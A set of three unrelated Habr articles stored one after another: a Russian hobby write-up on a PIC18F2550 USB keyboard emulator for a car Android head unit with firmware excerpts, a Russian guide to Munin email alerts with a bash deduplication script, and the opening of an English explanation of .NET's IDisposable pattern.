Toucan Nano — идеальный кандидат для использования в CarPC, при цене около 100 долл (в РФ) у него есть TV выход (композит), компонент (субтрактивный с выделенным синхросигналом), правда, отсутствует, к сожалению, RGB, который был нужен для вывода изображения на дисплей в самой магнитоле. Есть HDMI, USB хост (2 порта). Ещё в ядро оказались вкомпилированными поддержка чипа PL2303 (USB2COM конвертер, т.е. RS232) — что позволило подключить внешний GPS приёмник, а также поддержка WiFi свистков на чипе Ralink (я использовал Dlink DWA-140). Плата была установлена в магнитолу, сигнал с ТВ выхода подан на RGB входы штатного монитора магнитолы при помощи самостоятельно собранного конвертора TV -> RGB на базе TDA8362. В магнитоле предусмотрен коммутатор видео-сигнала, таким образом, весь родной функционал магнитолы был сохранён. Выглядит это примерно вот так:

Красным цветом показано то, что размещено вторым этажом (под платой). С Toucan Nano в комплекте идёт пульт, работающий в паре с радио-свистком. В пульте реализована интересная технология Fly Mouse: мышь реагирует на встроенный в пульт акселерометр, таким образом, просто наклоняя пульт, передвигаешь мышку по экрану девайса, получается что-то вроде указки. Однако, в машине пользоваться этим мне показалось неудобно и глупо: это ведь всё-таки магнитола, а не комп! Поэтому было принято решение собрать эмулятор клавиатуры магнитолы, который бы подключался к порту USB и вёл себя как стандартная PC клавиатура, при этом опрашивая кнопки магнитолы. По сути, решение это универсально и может использоваться с любой ОС: не секрет, что многие системы CarPC строятся на платформах Intel.
Так случилось, что у меня на тот момент не было опыта работы с микроконтроллерами PIC, в молодости я программил для Atmel, но этот опыт на сегодня был уже не актуален, т.к. прошло лет 10 и о моих любимых AT89c2051 сейчас, наверное, уже никто не помнит. Писались программы тогда строго на АСМе, т.к. на С это просто было бы сложнее, у 2051 всего 2К ПЗУ. В те годы PIC тоже существовал, но мы отказались от его использования, т.к. средства разработки были слишком дороги, а для 2051 я тогда разрабатывал эмулятор ПЗУ самостоятельно на базе i51 с внешней ПЗУшкой, имевшего тот же instruction set что и Atmel 89c2051. Сейчас, поняв, что мне придётся пройти этот путь фактически заново, я собрался духом и засел за литературу. Думаю, опыт потому и будет полезен читателям, что всё расписываю по шагам, в развитии.
Сначала я стал изучать интернет на тему микроконтроллеров с поддержкой USB и сразу же наткнулся на девайс от славной компании PIC, это был 18F2550. Заявленные его функции оказались очень неплохими: поддержка USB 2.0, 1К ОЗУ, полностью конфигурируемый USB порт, по сути, 2550 может стать *любым* USB девайсом. Плюс все стандартные фичи PIC. Эту микросхему можно приобрести в корпусе DIP28, что удобно для монтажа и распайки, да и цена совсем невысока. В стародавние времена микроконтроллеры шили программатором, сейчас стали популярны бутлоадеры. Смысл бутлоадера в том, что его достаточно записать в микроконтроллер всего один раз, после чего вы можете обращаться к нему какими-либо иными средствами (в нашем случае через USB порт), и обновлять прошивку девайса, не извлекая его из схемы. Продаются готовые киты с предпрошитыми микроконтроллерами и готовым софтом для заливки прошивок через бутлоадер, однако мне искать такой кит (вернее, ждать пока его пришлют) не хотелось. Поэтому я просто отправился в ближайший радиомагазин и купил чистый PIC18F2550.
Далее нужно было собрать программатор для заливки бутлоадера. Пошарив по инету, нашёл вот это:
[products.foxdelta.com/progparallel.htm](http://products.foxdelta.com/progparallel.htm)
Схема там прилагается. Упростил её, конечно, убрав лишние детали, т.к. паять было лень. По сути, пины микроконтроллера подключил напрямую к LPT. Софт использовал WinPic800. Про сам бутлоадер история отдельная. Грузится он с адреса 0x000, соответственно сама прога должна начинаться с адреса 0x800, что указывается в настройках компилятора. Находил несколько разных бутлоадеров, они льют прошивку в разных режимах (например, HID), соответственно, предназначены для разных IDE. USB Драйвер PIC для прошивающего компа тоже может использоваться разный, т.к. PIC «превращается» в разные USB девайсы. Мне постоянно попадались бутлоадеры для 18F4550, а его конфиг отличается и бутлоадер от него на моём МК не работал. В результате, я остановился на бутлоадере и загрузчике прошивки на базе PIC-овской демо-платы MCHPUSB. Сам бутлоадер пришлось немного доработать под мою схемотехнику (т.к. я разместил кнопку бутлоадера на другом пине микроконтроллера). Вообще, там оказалось много всяких разных параметров (например, тип кварцевого резонатора, умножитель частоты и много подобной ерунды). При неправильном указании этих параметров, девайс шьётся и даже мигает светодиодом по программе, но потом отказывается работать как USB девайс, выдавая мою «любимую» ошибку «USB устройство не опознано», т.к. частоты неправильные. С этой проблемой я провозился пару дней, пока окончательно не нашёл работоспособную конфигурацию. В итоге, мой бутлоадер рассчитан на кварц 4Mhz. Светодиод припаян на RA5, кнопка активации режима прошивки для бутлоадера — на RA3 (и с нее 1кОм на плюс), 26 нога на землю (для работы в режиме LVP). Для того, чтобы МК вошёл в режим бутлоадера, удерживая сброс, нажимаем указанную кнопку на RA3. Бит LVP (отключение режима низковольтной прошивки) перепрошить мне почему-то так и не удалось, ну и ладно. По идее он нужен для предохранения бутлоадера от перезаписи. Умножитель настроен на максимальную частоту 48 Mhz. К сожалению, если микроконтроллер используется в режиме USB, выше частоту поднять нельзя, т.к. частоты USB фиксированы, а у умножителя есть кратность, но это оказалось и не нужно.
В итоге, бутлоадер поправил, драйвера на комп от Microchip установил. В качестве основы программы сразу взял бесплатный пример от Bradley A. Minch, который выдаёт на виртуальную клавиатуру последовательно символы 'f', 'o', 'o', 'b', 'a', 'r'. Исходный код этой программы можно найти здесь:
[code.google.com/p/picusb/source/browse/lab2\_pickit2/lab2.asm?spec=svn69&r=69](http://code.google.com/p/picusb/source/browse/lab2_pickit2/lab2.asm?spec=svn69&r=69)
Скомпилировав программу, предварительно настроив кучу конфигурационных регистров PIC-а, я добился, что она начала печатать на компе в цикле строку *foobar*! Ура! В реальности всё это тоже случилось не за один день, но подробности я опускаю. И здесь меня постиг на секунду страх, что всё это чудо может не заработать на Iconbit, который может просто без объяснения причин игнорировать почти неделю моей работы — и я никогда не узнаю почему. Но, подключив девайс к Android материнке, я увидел, что всё заработало: тут же открылось окно поиска в котором побежали знакомые буковки foobar. Android на нажатие произвольных клавиш реагирует открытием именно окна поиска.
Далее требовалось доработать программу до моих нужд, в частности написать код, который будет считывать данные с самой магнитолы. Как это будет работать, я на тот момент не представлял. Думал, придётся подключаться к матрице магнитолы и считывать с неё. Обычно подобные устройства используют динамическое сканирование матрицы, когда по оси X «бежит» единичка, а по оси Y считывается информация. Т.е., скажем, 16 клавиш можно обработать 8 пинами (4 + 4). Чтобы параллельно считывать такую матрицу тоже понадобится 8 пинов, но настроенных на ввод. Однако, покопавшись на плате магнитолы, я обнаружил, что заботливые немцы выделили отдельный процессор для обработки всей клавиатуры, единственно, ручки энкодеров шли напрямую на центральный проц. В итоге, у проца клавиатуры магнитолы я нашёл выход, на котором появляются импульсы при нажатии любых клавиш магнитолы. Частота следования импульсов оказалась достаточно высокой и для начала я просто тупо подключил их к конвертеру на базе PL2303, т.е. просто подал на RS-232 порт и начал экспериментировать с настройками порта. В результате выяснилось, что осмысленные байты можно увидеть, настроив порт аж на 480 кбит. Для мне до сих пор загадка зачем немцам понадобилось данные с клавиатуры передавать на такой высокой скорости.
Для того чтобы написать программу для PIC, пришлось детально проанализировать характер импульсов клавиатурного процессора магнитолы. Для этого я купил осциллограф. В молодости, конечно, у меня были все эти приборы, но всё это осталось у родителей, а я уже 5 лет как переехал в Москву. Поэтому решил потихоньку собирать парк приборов: ведь к радиолюбительству возвращаюсь время от времени.
В итоге оказалось, что процессор перед каждой пачкой информации (которая состоит из 2 байт), выдаёт длинный импульс, который служит «пилотом», предупреждающим о начале передачи блока информации. Удивительным оказалось то, что длина этого блока (равно как и промежутки между байтами) меняются произвольным образом даже при нажатии одной и той же кнопки. Другая проблема оказалась в том, что PIC не мог программным путём надёжно читать данные на такой скорости. Ведь он должен ещё и успевать обслуживать шину USB! Если нажатие клавиши происходит в неподходящий момент, он её просто пропускает. Как я писал выше, частоту ядра я поднял до максимума при помощи умножителей, однако даже при такой настройке процессор работал на пределе и иногда пропускал биты, в результате вероятность правильного определения кнопок составляла около 70%, что недопустимо в автомобиле. Здесь я уже собрался с умом и подумал, что, наверное, есть второй сигнал (строб). Так и оказалось. Но изначально я его не нашёл потому, что импульсы на нём почему-то присутствуют постоянно, а было бы логично если бы они появлялись при нажатии кнопок. Видимо, процессор магнитолы опрашивает клавиатуру в непрерывном цикле и выдаёт импульс при передаче любого бита, даже если состояние клавиш не меняется. Т.е., просто шлёт нули если нет никакой активности. В общем, процессор стробирует каждый передаваемый бит, в результате их можно читать абсолютно чётко. Программу на PIC переписал, после чего всё стало работать стабильно и красиво. При нажатии кнопки формируется один код, при отпускании — другой. Таким образом можно было ещё реализовать режим удерживания кнопок, но я этого делать не стал, т.к. кнопок и так оказалось в изобилии.
Здесь я приведу выдержки из своей программы, те части, что написал именно я. Оригинал программы вы можете увидеть по приведённой выше ссылке. В программе у меня есть, разумеется, таблица, сопоставляющая считанные коды клавиш и USB коды, которые надо передавать в головной девайс. Сразу замечу, что комментарии я обычно пишу на английском (чтобы не терять время на переключение регистра). Если кому-то интересна полная версия программы, я без проблем могу выслать её. Полный текст не привожу здесь по соображениям соблюдения авторских прав. Также могу выслать и бутлоадер и программу для его прошивки, программу для заливки прошивок.
Перекодировка кнопок.
```
unsigned char recode(long n) {
if (n==0x3550) return 'Q'; // <> REVERSE
if (n==0x1580) return 'U'; // up - 1
if (n==0x6aa0) return 'X'; // next - 2
if (n==0x2540) return 'D'; // down - 3
if (n==0x4a80) return 'Z'; // prev - 4
if (n==0x1570) return 'L'; // left - 5
if (n==0x0560) return 'R'; // right - 6
if (n==0x4520) return 'H'; // home
if (n==0x0ac0) return 'A'; // player
if (n==0x6500) return 'T'; // TEL ??
if (n==0x5530) return 'N'; // navi
if (n==0x7510) return 'S'; // settings
if (n==0x1b28) return 'B'; // back
if (n==0x4500) return 'E'; // enter
if (n==0x28e0) return 'M'; // (MAP) ??
if (n==0x1320) return 'O'; // notification area - REPEAT
if (n==0x0330) return 'F'; // search/find - CALL
return 0;
}
int remap(int n) {
// launcher
if (n=='S') return 0x3a; // F1 settings/menu
if (n=='F') return 0x3b; // F2
if (n=='O') return 0x3c; // F3 notification area
// programs
if (n=='H') return 0x3D; // F4 home
if (n=='A') return 0x3f; // F6 audio/player
if (n=='N') return 0x40; // F7 navi
if (n=='M') return 0x44; // F11 map
if (n=='T') return 0x45; // F12 tel
// player controls
if (n=='Z') return 0x3e; // F5 prev song
if (n=='X') return 0x43; // F10 next song
//cursor
if (n=='L') return 0x50; // left
if (n=='R') return 0x4f; // right
if (n=='U') return 0x52; // up
if (n=='D') return 0x51; // down
if (n=='E') return 0x28; // enter
if (n=='B') return 0x29; // ESC back
return 0x0;
}
```
Конфиги:
```
#pragma config DEBUG = OFF
// 1L 30000
#pragma config PLLDIV = 1 // PLL prescaler
//#pragma config CPUDIV = OSC3_PLL4 // sysclock postscaler - working
#pragma config CPUDIV = OSC1_PLL2 // sysclock postscaler
#pragma config USBDIV = 2 // usb clock comes from PLL div 2
// 1H 30001
// #pragma config FOSC = XTPLL_XT // low speed mode
#pragma config FOSC = HSPLL_HS // highspeed mode
#pragma config FCMEN = OFF // fail safe clock
#pragma config IESO = OFF // int/ext oscillator
// 2L 30002
#pragma config PWRT = OFF // power up timer
#pragma config BOR = OFF // brown out
#pragma config BORV = 0
#pragma config VREGEN = ON // usb voltage regulator
// 2H 30003
#pragma config WDT = OFF // watchdog
#pragma config WDTPS = 32768
// 3H 30005
#pragma config CCP2MX = ON // ccp2 mux
#pragma config PBADEN = OFF // portb a/d enable
#pragma config LPT1OSC = ON // low power timer 1 oscillator
#pragma config MCLRE = ON // MCLR pin enable
// 4L 30006
#pragma config STVREN = ON // stack full
#pragma config LVP = ON
#pragma config XINST = OFF // extended instructions
// 30008
//#pragma config ICPRT = OFF
#pragma config CP0 = OFF
#pragma config CP1 = OFF
#pragma config CP2 = OFF
#pragma config CP3 = OFF
// 30009
#pragma config CPB = OFF
#pragma config CPD = OFF
// 3000a
#pragma config WRT0 = OFF
#pragma config WRT1 = OFF
#pragma config WRT2 = OFF
#pragma config WRT3 = OFF
// 3000b
#pragma config WRTB = OFF
#pragma config WRTC = OFF
#pragma config WRTD = OFF
// 3000c
#pragma config EBTR0 = OFF
#pragma config EBTR1 = OFF
#pragma config EBTR2 = OFF
#pragma config EBTR3 = OFF
// 3000d
#pragma config EBTRB = OFF
//#define SHOW_ENUM_STATUS
#define LED PORTAbits.RA5
#define CAR PORTAbits.RA0 // keypad data line
#define EN1 PORTAbits.RA1
#define EN2 PORTAbits.RA2
#define SYN PORTAbits.RA3 // keypad strobe line
```
Часть конфигов переопределяется самим программатором при заливке бутлоадера.
Передача кода клавиши на USB интерфейс:
```
void SendKeyBuffer(void) {
unsigned char n;
for (n = 0; n<8; n++)
BD1I.address[n] = Key_buffer[n]; // copy Key_buffer to EP1 IN buffer
BD1I.bytecount = 0x08; // set the EP1 IN byte count to 8
BD1I.status = ((BD1I.status&0x40)^0x40)|0x88; // toggle the DATA01 bit of the EP1 IN status register and set the UOWN and DTS bits
}
int sendKey1(unsigned char c) {
int n;
long timeout=0;
for (n = 0; n<8; n++) Key_buffer[n] = 0x00; // clear key buffer
// ?? hang place 2
while ((BD1I.status&0x80)) {
// wait to see if UOWN bit of EP1 IN status register is clear, (i.e., PIC owns EP1 IN buffer)
timeout++;
if (timeout>250000) {
return 0;
}
ServiceUSB();
}
*(Key_buffer+2)=c;
SendKeyBuffer();
ServiceUSB();
return 1;
}
int sendKey(unsigned char c) {
if (sendKey1(c)) return (sendKey1(0x00));
return 0;
}
```
Подпрограммы чтения кнопок магнитолы. Для максимизации быстродействия
цикл не используется. Важен каждый такт.
```
char readByte() {
unsigned char b = 0;
// unsigned char i = 0;
while (SYN==0);
b = (b << 1) | CAR;
while (SYN==1);
while (SYN==0);
b = (b << 1) | CAR;
while (SYN==1);
while (SYN==0);
b = (b << 1) | CAR;
while (SYN==1);
while (SYN==0);
b = (b << 1) | CAR;
while (SYN==1);
while (SYN==0);
b = (b << 1) | CAR;
while (SYN==1);
while (SYN==0);
b = (b << 1) | CAR;
while (SYN==1);
while (SYN==0);
b = (b << 1) | CAR;
while (SYN==1);
while (SYN==0);
b = (b << 1) | CAR;
while (SYN==1);
return b;
}
int countZero() {
unsigned short i=1;
while (CAR==0 && i++);
return i/4;
}
int readCar() {
int i;
int d = 0;
unsigned char k;
unsigned char r;
unsigned long vl;
//#define analyzer
//#define dbg // debug mode
if (CAR==0) return 1;
#ifdef analyzer
for (i=0;i<110;i++) {
carbuff[i]=readByte();
carbuff[i+110]=ssd; // strobe data
}
for (i=0;i<221;i++) {
printHex(carbuff[i]);
}
crlf();
crlf();
return 1;
#endif // end analyzer
while (CAR==1); // short intro 1
while (CAR==0); // short intro 0
while (CAR==1); // long intro 1
vl = readByte() * 0x100 + readByte();
k = recode(vl);
#ifdef dbg
printDword(vl); // dbg
crlf(); // dbg
#endif
if (k!=0) {
#ifdef dbg
printChar(k); // dbg
crlf(); // dbg
#endif
#ifndef dbg
r=remap(k); // send actual keys we need
return sendKey(r);
#endif
}
}
```
CAR — пин на который подключен сигнал с процессора клавиатуры магнитолы. SYN — сигнал строб с процессора клавиатуры магнитолы.
В процессе отладки я столкнулся с рядом проблем. В некоторых случаях микроконтроллер зависал и USB устройство просто пропадало. Протокол обмена USB очень непростой и вникать во все его нюансы было непросто. Путём проб и ошибок я нашёл проблемные места и добавил туда программный watchdog, который просто перезапускал процессор в случае зависания в этих местах. В итоге, я добился устойчивой бессбойной работы программы без зависаний с верностью определения нажатия клавиш 99%. USB порт в самом Toucan работает не очень хорошо, тем более, что я использовал USB разветвитель. Иногда даже «серьёзные» девайсы типа USB свистка мыши пропадают до следующей перезагрузки. Что уж говорить о моей самоделке. Однако, мне удалось добиться стабильности на уровне заводских USB девайсов.
Далее нужно было подключить энкодер. Я задумал направить данные с энкодера на эмуляцию кнопок «вверх» и «вниз», а нажатие ручки энкодера на клавишу Enter. Ну нажатие обрабатывает процессор, т.е. оно уже работает. Что касается энкодера, реализовать его чтение совсем несложно. Если его пины подключить к двум битам, он выдает последовательность 0, 1, 3, 2 (в двоичном коде 00 01 11 10). Двойку с тройкой меняем местами, получается 0 1 2 3. Далее, текущий результат из предыдущего вычитаем, если разность 1 или -3, то вращение в одну сторону, если -1 или 3, — в другую. Видел, что чтение энкодера реализуют какой-то таблицей, в общем, ничего это не нужно делать. Вот процедура:
```
int readEncoder() {
int k;
int enc;
int subb;
int res = 1;
static int enc1 = 0;
static int init = 0;
if (!init) { // prevent encoder key command sent on startup
init = 1;
enc1 = enc = EN1 + EN2 * 2;
if (enc==3 || enc==2) enc=enc ^ 1;
}
enc = EN1 + EN2 * 2;
if (enc==3 || enc==2) enc=enc ^ 1;
if (enc != enc1) {
subb = enc - enc1;
if (subb==1 || subb==-3) k='U';
if (subb==-1 || subb==3) k='D';
res = sendKey(remap(k)); // send up or down key command
}
enc1 = enc;
return res;
}
```
Теперь PowerAMP управляется чётко: ручка-энкодер и она же enter! Ручкой бегаем по папкам с музыкой, кнопкой входим в них и запускаем композиции. Мечта!
Добавлю, что коды, генерируемые виртуальной клавиатурой, это не коды ASCII и даже не коды клавиш Android (которые тоже отличаются от кодов ASCII). Это отдельные коды USB клавиатуры. Найти их можно в этой таблице:
[www.win.tue.nl/~aeb/linux/kbd/scancodes-14.html](http://www.win.tue.nl/~aeb/linux/kbd/scancodes-14.html)
Соответственно, в Android есть специальный конфиг, который отвечает за обработку спец. клавиш. Конечно, мне надо было запускать и навигацию, и использовать кнопку Home и запускать плеер. Для этой цели нужно отредактировать файл keylayout, описание этих файлов есть здесь:
[source.android.com/tech/input/key-layout-files.html](http://source.android.com/tech/input/key-layout-files.html)
Вот мой конфиг:
*key 1 BACK # ESC («AC» button)
key 59 MENU # F1 («BC» button)
#key 60 CAMERA # F2 («CALL» button)
key 61 NOTIFICATION # F3 («repeat» key on deck)
key 62 HOME # F4 («main» button)
key 63 MEDIA\_PREVIOUS # F5 («4» button)
key 64 HEADSETHOOK # PLAY/PAUSE F6 («audio» button)
#key 65 INFO # F7 («navi» button)
key 66 VOLUME\_UP # F8 ??
key 67 VOLUME\_DOWN # F9 ??
key 200 HEADSETHOOK # hardware key # MEDIA\_STOP not working
key 68 MEDIA\_NEXT # F10 («6» button)
key 87 POWER # F11 ('map' key on deck)
#key 88 EMAIL # F12 («tel» button)*
Разумеется, отредактировать этот файл можно только на рутованных устройствах.
Так получилось, что некоторые клавиши не работают после установки последнего обновления на Toucan Nano. Почему — мне так и не удалось выяснить. Например, перестала работать самая важная кнопка HOME. Поэтому я написал простой командный файлик, который у меня стартует при старте системы. Вот он:
*#!/system/bin/sh
stty -F /dev/ttyUSB0 ispeed 4800
chmod 0777 /dev/ttyUSB0
sleep 20
am broadcast -a info.mapcam.droid.SERVICE\_START # mapcam.info
while true
do
s=$(getevent -v0 -c1) # считываем одно событие из всех устройств ввода
# -v0 чтобы он не сыпал кучей ненужного мусора
s=$(echo $s | awk '{print $4}') #выделяем код клавиши
case $s in # выполняем нужную команду
0007003f) am start -a android.intent.action.MAIN -c android.intent.category.HOME -n com.maxmpz.audioplayer/.StartupActivity # AUDIO
# am start -a android.intent.action.MAIN -c android.intent.category.HOME -n com.maxmpz.audioplayer/.PlayListActivity # AUDIO
sleep 1
;;
00070040) am start -n ru.yandex.yandexmaps/.MapActivity # NAVI
sleep 1
;;
0007003d) am start -a android.intent.action.MAIN -c android.intent.category.HOME
sleep 1
;;
00070045) am start -a android.intent.action.MAIN -n com.speedsoftware.rootexplorer/.RootExplorer # TEL
sleep 1
;;
0007003b) am startservice -a «org.broeuschmeul.android.gps.usb.provider.nmea.intent.action.START\_GPS\_PROVIDER»
sleep 5
am broadcast -a info.mapcam.droid.SERVICE\_START
# am start -n info.mapcam.droid/.SpeedometrActivity # CALL
sleep 1
;;
esac
done*
Данный эмулятор уже почти в течение года успешно используется на машине. В планах сделать эмуляцию мыши, чтобы её можно было передвигать по экрану кнопками. Интегрировать тачскрин в систему я пока, к сожалению, так и не осилил. К сожалению, ряд программ (например Карты Рамблер) не управляются кнопками и требуют наличия тачскрина. Поэтому всё-таки для таких случаев в машине приходиться возить USB мышку.
О самом Android проекте я могу как-нибудь рассказать отдельно если это будет интересно.
 | https://habr.com/ru/post/162003/ | null | ru | null |
# Настройка уведомлений в Munin
В статье [Munin — мониторинг сети это просто!](http://habrahabr.ru/blogs/linux/30494/) говорилось о том, что мониторинг нужен и что автор использует Munin, а так же описывалось как написать свой плагин. В этой статье мы рассмотрим как настроить Munin для отсылки уведомлений о проблемах на почтовый ящик.
Для этого в файле /etc/munin/munin.conf нужно создать контакт и определить параметры\директивы для этого контакта. Делается это так:
`contacts someuser
contact.someuser.command mail -s "Munin notification" [email protected]
contact.someuser.always_send warning critical`
Данная конструкция означает, что мы создаём контакт **someuser**, отпределяем для него команду отправки уведомлений (в данном случае это команда **mail**) и какие уведомления отправлять (**warning**\предупреждения и **critical**\критические).
Т.к. Munin собирает информацию каждые 5 минут, то уведомления (например закончилось место на диске, плагин df\_) будут отсылаться раз в 5 минут. Теоретически, есть директива `contact.contact.max_messages *number*`, которая, как я понял, должна задавать максимальное число уведомлений для «warning/critical» события. Посмотреть список директив можно [здесь](http://munin.projects.linpro.no/wiki/munin.conf)
У меня эта фича не заработала, поэтому пришлось писать свой скрипт, который бы разруливал эту ситуацию.
Так же, директива `contact.someuser.command` позволяет использовать специальные переменные, вместо которых при отправке сообщения будут подставляться реальные значения. Список переменных [тут](http://munin.projects.linpro.no/wiki/MuninAlertVariables).
Разберём всё это на примере. Требуется: отсылать уведомления двум пользователям. Первый пользователь должен получать как критические, так и предупредительные сообщения. Второй только критические.
Открываем /etc/munin/munin.conf и создаём контакты:
`contacts user1 user2
contact.user1.command mail_send_mutt [email protected] "Munin notification ${var:host}" "[${var:group};${var:host}] -> ${var:graph_title}: warnings: ${loop<,>:wfields ${var:label}=${var:value}}; criticals: ${loop<,>:cfields ${var:label}=${var:value}}"
contact.user1.always_send warning critical
contact.user2.command mail_send_mutt [email protected] "Munin notification ${var:host}" "[${var:group};${var:host}] -> ${var:graph_title}: warnings: ${loop<,>:wfields ${var:label}=${var:value}}; criticals: ${loop<,>:cfields ${var:label}=${var:value}}"
contact.user2.always_send critical`
Здесь я использовал самописный скрипт **mail\_send\_mutt**, который принимает 3 входных параметра:
1. E-mail пользователя
2. Заголовок сообщения
3. Текст сообщения
Для отправки писем используется консольный почтовый клиент mutt, т.к. работает он быстро, надёжно и никаких дополнительных настроек не требует.
Текст скрипта:
`#!/bin/bash
# Отправка почтового сообщения через mutt
# Принимаемые параметры:
# 1. адрес для отправки
# 2. тема письма
# 3. текст письма
# Для каждого электронного адреса создаётся свой лог-файл, в который записываются
# все отправленные на этот адрес сообщения с датой и временем отправки.
# Это нужно для того, что в дальнейшем можно было посмотреть что мы уже отправляли и
# избавить админа от чтения кучи дубликатов. Также это может быть полезно при "разборе полётов"
email=$1
theme="$2"
ptext="\"$3\""
# Тип вывода сообщений: 0 - никуда не выводить, 1 - стандатрый вывод, 2 - в файл.
type_out=0
# Функция вывода.
function out_text () {
dbg_logfile="/var/log/munin/send_mess.log"
if ! test -e "$dbg_logfile"
then
cat "" > "$dbg_logfile"
fi
case $type_out in
1) echo "$1" ;;
2) echo "$1" >> $dbg_logfile ;;
*)
esac
}
# Путь к логам
var_path="/var/log/munin"
# файл лога. имя файла создаётся на основе $email
logfile=""
# Если папки нет, то создадим
if ! test -e "$var_path"
then
mkdir -p $var_path
fi
# Проверим указан для почтовый адрес
if test -z $email
then
out_text "Нет адреса для отправки!"
exit
fi
if test -z "$theme"
then
theme="null"
fi
if test -z "$ptext"
then
ptext="null"
fi
# Определим имя лог-файла по $email
#logfile=${email/@/_}
logfile=$var_path"/"${email/@/_}
# Проверим, существует ли файл. Если нет - создадим
if ! test -e "$logfile"
then
cat "" > "$logfile"
fi
# Счётчик сообщений, показывающий что было найдено сообщение с таким же тестом
# как для текущей отправки и за сегодняшнюю дату
str_found=0
# Номер позиции разделителя. Используем для разбивки собщения на части
dpos=0
# Переменные, содержащие части сообщения из файла
tdate=""
tmail=""
ttext=""
# Разделитель строки из файла
FS="|"
# Разделитель для отсечения времени от даты
FS_d='.'
# Сегодняшняя дата
curr_date=$(date +%Y-%m-%d)
out_text "Current date: \"$curr_date\""
# Проверим, отправляли ли мы уже такое сообщение
while read fstr
do
# Разобьём строку на 3 части: дата, e-mail, сообщение
# В качестве разделителя используется символ "|"
out_text "str_found begin: $str_found"
out_text "Find symbol: "$FS "; STR:" "$fstr"
dpos=`expr index "$fstr" $FS`
out_text "dpos: $dpos"
tdate=`expr substr "$fstr" 1 $dpos`
fstr=${fstr/$tdate/}
tdate=${tdate/$FS/}
out_text "NEW STR:" "$fstr"
dpos=`expr index "$fstr" $FS`
tmail=`expr substr "$fstr" 1 $dpos`
ttext=${fstr/$tmail/}
tmail=${tmail/$FS/}
dpos=`expr index "$tdate" $FS_d`
let "dpos-=1"
tdate=`expr substr "$tdate" 1 $dpos`
out_text "date: \"$tdate\""
out_text "email: $tmail"
out_text "ttext: $ttext"
out_text "ptext: $ptext"
out_text "------------------------------------------------------"
# Если сообщение отправляли,
if [ "$ptext" == "$ttext" ]
then
#то проверить когда оно было отправлено
# если сегодня, то не нужно отправлять его повторно. (Увеличиваем счётчик найденных совпадений)
out_text "Text EQ found!"
if [ "$tdate" == "$curr_date" ]
then
out_text "Date EQ found!"
let "str_found+=1"
fi
fi
out_text "str_found end: $str_found"
out_text "------------------------------------------------------"
done < "$logfile" #используя перенаправление ввода считаем все строки из файла в цикле
out_text "str_found: $str_found"
if [ 0 -lt "$str_found" ]
then
out_text "Такое сообщение сегодня уже отправлялось!"
exit
fi
# Отправим письмо
echo "$ptext" | mutt $email -s "$theme"
# Запишем в лог строку, которую мы отправили, чтобы в следующий раз такое сообщение не отправлять
echo "$(date +%Y-%m-%d.%H-%M)|$email|$ptext" >> $logfile`
Я оставил в скрипте все свои комментарии, а так же вывод отладочной информации. Может кому сгодится. По-умолчанию вывод сообщений отключён. Если у кого-то есть идеи как улучшить скрипт, буду рад поправкам.
К примеру есть такая конструкция:
`while IFS=: read name passwd uid gid fullname ignore
do
echo "$name ($fullname)"
done
и цикл чтения файла лога для просмотра уже отправленных сообщений вроде как можно переделать следующим образом:
`while FS=| read tdate tmail ttext
do
.....
done < "$logfile"`
но почему-то не работает так как описывается :(` | https://habr.com/ru/post/48758/ | null | ru | null |
# Disposable pattern (Disposable Design Principle) pt.1
[](https://github.com/sidristij/dotnetbook)
Disposable pattern (Disposable Design Principle)
================================================
I guess almost any programmer who uses .NET will now say this pattern is a piece of cake. That it is the best-known pattern used on the platform. However, even the simplest and well-known problem domain will have secret areas which you have never looked at. So, let’s describe the whole thing from the beginning for the first-timers and all the rest (so that each of you could remember the basics). Don’t skip these paragraphs — I am watching you!
If I ask what is IDisposable, you will surely say that it is
```
public interface IDisposable
{
void Dispose();
}
```
What is the purpose of the interface? I mean, why do we need to clear up memory at all if we have a smart Garbage Collector that clears the memory instead of us, so we even don’t have to think about it. However, there are some small details.
> This chapter was translated from Russian jointly by author and by [professional translators](https://github.com/bartov-e). You can help us with translation from Russian or English into any other language, primarily into Chinese or German.
>
>
>
> Also, if you want thank us, the best way you can do that is to give us a star on github or to fork repository [ github/sidristij/dotnetbook](https://github.com/sidristij/dotnetbook).
>
>
There is a misconception that `IDisposable` serves to release unmanaged resources. This is only partially true and to understand it, you just need to remember the examples of unmanaged resources. Is `File` class an unmanaged resource? No. Maybe `DbContext` is an unmanaged resource? No, again. An unmanaged resource is something that doesn’t belong to .NET type system. Something the platform didn’t create, something that exists out of its scope. A simple example is an opened file handle in an operating system. A handle is a number that uniquely identifies a file opened – no, not by you – by an operating system. That is, all control structures (e.g. the position of a file in a file system, file fragments in case of fragmentation and other service information, the numbers of a cylinder, a head or a sector of an HDD) are inside an OS but not .NET platform. The only unmanaged resource that is passed to .NET platform is IntPtr number. This number is wrapped by FileSafeHandle, which is in its turn wrapped by the File class. It means the File class is not an unmanaged resource on its own, but uses an additional layer in the form of IntPtr to include an unmanaged resource — the handle of an opened file. How do you read that file? Using a set of methods in WinAPI or Linux OS.
Synchronization primitives in multithreaded or multiprocessor programs are the second example of unmanaged resources. Here belong data arrays that are passed through P/Invoke and also mutexes or semaphores.
> Note that OS doesn’t simply pass the handle of an unmanaged resource to an application. It also saves that handle in the table of handles opened by the process. Thus, OS can correctly close the resources after the application termination. This ensures the resources will be closed anyway after you exit the application. However, the running time of an application can be different which can cause long resource locking.
Ok. Now we covered unmanaged resources. Why do we need to use IDisposable in these cases? Because .NET Framework has no idea what’s going on outside its territory. If you open a file using OS API, .NET will know nothing about it. If you allocate a memory range for your own needs (for example using VirtualAlloc), .NET will also know nothing. If it doesn’t know, it will not release the memory occupied by a VirtualAlloc call. Or, it will not close a file opened directly via an OS API call. These can cause different and unexpected consequences. You can get OutOfMemory if you allocate too much memory without releasing it (e.g. just by setting a pointer to null). Or, if you open a file on a file share through OS without closing it, you will lock the file on that file share for a long time. The file share example is especially good as the lock will remain on the IIS side even after you close a connection with a server. You don’t have rights to release the lock and you will have to ask administrators to perform `iisreset` or to close resource manually using special software.
This problem on a remote server can become a complex task to solve.
All these cases need a universal and familiar *protocol for interaction* between a type system and a programmer. It should clearly identify the types that require forced closing. The IDisposable interface serves exactly this purpose. It functions the following way: if a type contains the implementation of the IDisposable interface, you must call Dispose() after you finish work with an instance of that type.
So, there are two standard ways to call it. Usually you create an entity instance to use it quickly within one method or within the lifetime of the entity instance.
